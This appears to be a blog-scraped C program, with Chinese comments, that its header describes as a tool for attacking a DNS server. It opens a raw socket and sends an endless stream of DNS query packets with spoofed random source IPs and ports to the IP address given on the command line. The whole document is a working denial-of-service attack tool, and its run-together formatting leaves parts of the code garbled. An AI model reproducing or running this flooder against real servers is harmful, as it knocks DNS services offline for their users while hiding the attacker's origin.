/*********************向指定IP发送a.a.a到z.z.z的dns查询包,来达到攻击dns服务器的目的运行格式 ./dos dns服务器ip*********************/#include<arpa/nameser.h>#include"stdio.h"#include"sys/types.h"#include"string.h"#include"sys/socket.h"#include"unistd.h"#include"stdlib.h"#include"netinet/in.h"#include<time.h>#include<netinet/ip.h>#include<netdb.h>#include"arpa/inet.h"struct
ipheader //ip header{unsigned char
ip_hl:4,ip_v:4;//首部长度和版本unsigned char
ip_tos; //服务类型 unsigned short int ip_len; //总长度
unsigned short int ip_id;
//标识unsigned short int
ip_off; //片偏移unsigned char ip_ttl;
//生存时间unsigned char ip_p;
//协议unsigned short int ip_sum; //校验和unsigned int ip_src;
//ip报源地址unsigned int ip_dst;
//目的地址};struct udpheader //udp header{unsigned
short int port_src;
//源端口unsigned short int port_dst;
//目的端口 unsigned short int udp_len; //udp用户数据报的长度unsigned short int udp_sum;
//校验和};struct dns_msg
//send bag{struct ipheader ip;
//ip包头struct udpheader udp; //udp包头HEADER dnshead;
//dns包头char dnsbuf[100]; //udp数据报};u_short checksum(u_short *addr,int len)//计算校验和{ u_int32_t
sum=0; u_int16_t *ad=addr,result; while(len>1){
sum+=*ad++;
//按16比特相加len-=2;
} sum=(sum>>16)+(sum&0xffff);
//计算进位sum+=(sum>>16);
result=~sum; //取反return(result);}int main(int argc,char **argv){ int sockfd;int
ord; int i,j,k,l,m;int num=0;struct sockaddr_in
my_addr;struct dns_msg dns_data;//send bagsrand(time(NULL));if(argc!=2){ printf("agrc!=2 agrc =attack
dst ip \n");exit(0);}if((sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)//创建原始套接字{printf("socket
err\n");exit(0);} if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&ord,sizeof(ord))<0)//设置套接字选项 自己填充ip头{ printf("setsockopt
err");exit(0);}my_addr.sin_addr.s_addr=inet_addr(argv[1]);
//从输入参数中取得工具目标ipmy_addr.sin_family=AF_INET; my_addr.sin_port=htons(53);/*连续发包*/ for(i=97;i<123;i++)for(j=97;j<123;j++)for(k=97;k<123;k++){i=97;j=97;k=97;printf("%d\n",num);num++;bzero(&dns_data,sizeof(struct
dns_msg)); //fill ip head dns_data.ip.ip_v=4;dns_data.ip.ip_hl=(sizeof(struct ip)/4);dns_data.ip.ip_tos=0;// dns_data.ip.ip_len=sizeof(dns_data);
dns_data.ip.ip_id=random();dns_data.ip.ip_off=0;dns_data.ip.ip_ttl=255;dns_data.ip.ip_p=IPPROTO_UDP;dns_data.ip.ip_sum=0;dns_data.ip.ip_dst=my_addr.sin_addr.s_addr;
dns_data.ip.ip_src=random(); //伪造源ip地址//fill udp headdns_data.udp.port_dst=htons(53);dns_data.udp.port_src=htons(1024+(rand()%2000));//伪造源端口dns_data.udp.udp_len=htons(31);//htons(sizeof(struct
dns_msg)-sizeof(struct ipheader));dns_data.udp.udp_sum=0;//fill dns headdns_data.dnshead.id=random();dns_data.dnshead.rd=0;//不是期望递归,如没有授权回答就返回一个能回答的服务器列表
dns_data.dnshead.ra=1;//可用递归 如果名字服务器支持递归,则在响应中把它置为1dns_data.dnshead.aa=0;//为1时授权回答 该名字服务器是授权于该域的
dns_data.dnshead.tc=0; //为1时表示可截断的,当超过512字节时,只返回前512字节
dns_data.dnshead.opcode=QUERY;//表示是标准询问包
dns_data.dnshead.qdcount=htons(1);//查询的数量
dns_data.dnshead.ancount=htons(0);//回答
dns_data.dnshead.nscount=htons(0);//授权
dns_data.dnshead.arcount=htons(0);//额外信息dns_data.dnshead.qr=0;//query
bag //fill domain query a.a.a的形式 dns_data.dnsbuf[0]=1;dns_data.dnsbuf[1]=i;dns_data.dnsbuf[2]=1;dns_data.dnsbuf[3]=j;dns_data.dnsbuf[4]=1;dns_data.dnsbuf[5]=k;dns_data.dnsbuf[6]=0;dns_data.dnsbuf[8]=1;
dns_data.dnsbuf[10]=1;dns_data.dnshead.id=random(); //fill checksumu_char *pseudo,pseudoHead[44];//伪头部用于计算udp校验和bzero(pseudoHead,44);pseudo=pseudoHead;memcpy(pseudo,&(dns_data.ip.ip_src),8);pseudo+=9;
memcpy(pseudo,&(dns_data.ip.ip_p),1); pseudo++; memcpy(pseudo,&(dns_data.udp.udp_len),2);pseudo+=2;memcpy(pseudo,&(dns_data.udp),sizeof(struct
udpheader));pseudo+=8;memcpy(pseudo,&(dns_data.dnshead),sizeof(HEADER));pseudo+=12;memcpy(pseudo,&(dns_data.dnsbuf),11);//strlen(dns_data.dnsbuf));dns_data.udp.udp_sum=checksum((u_short *)pseudoHead,44);sendto(sockfd,&dns_data,51,0,(struct sockaddr *)&my_addr,sizeof(struct
sockaddr_in));//发送数据包}}
dos
最新推荐文章于 2024-03-31 23:41:29 发布
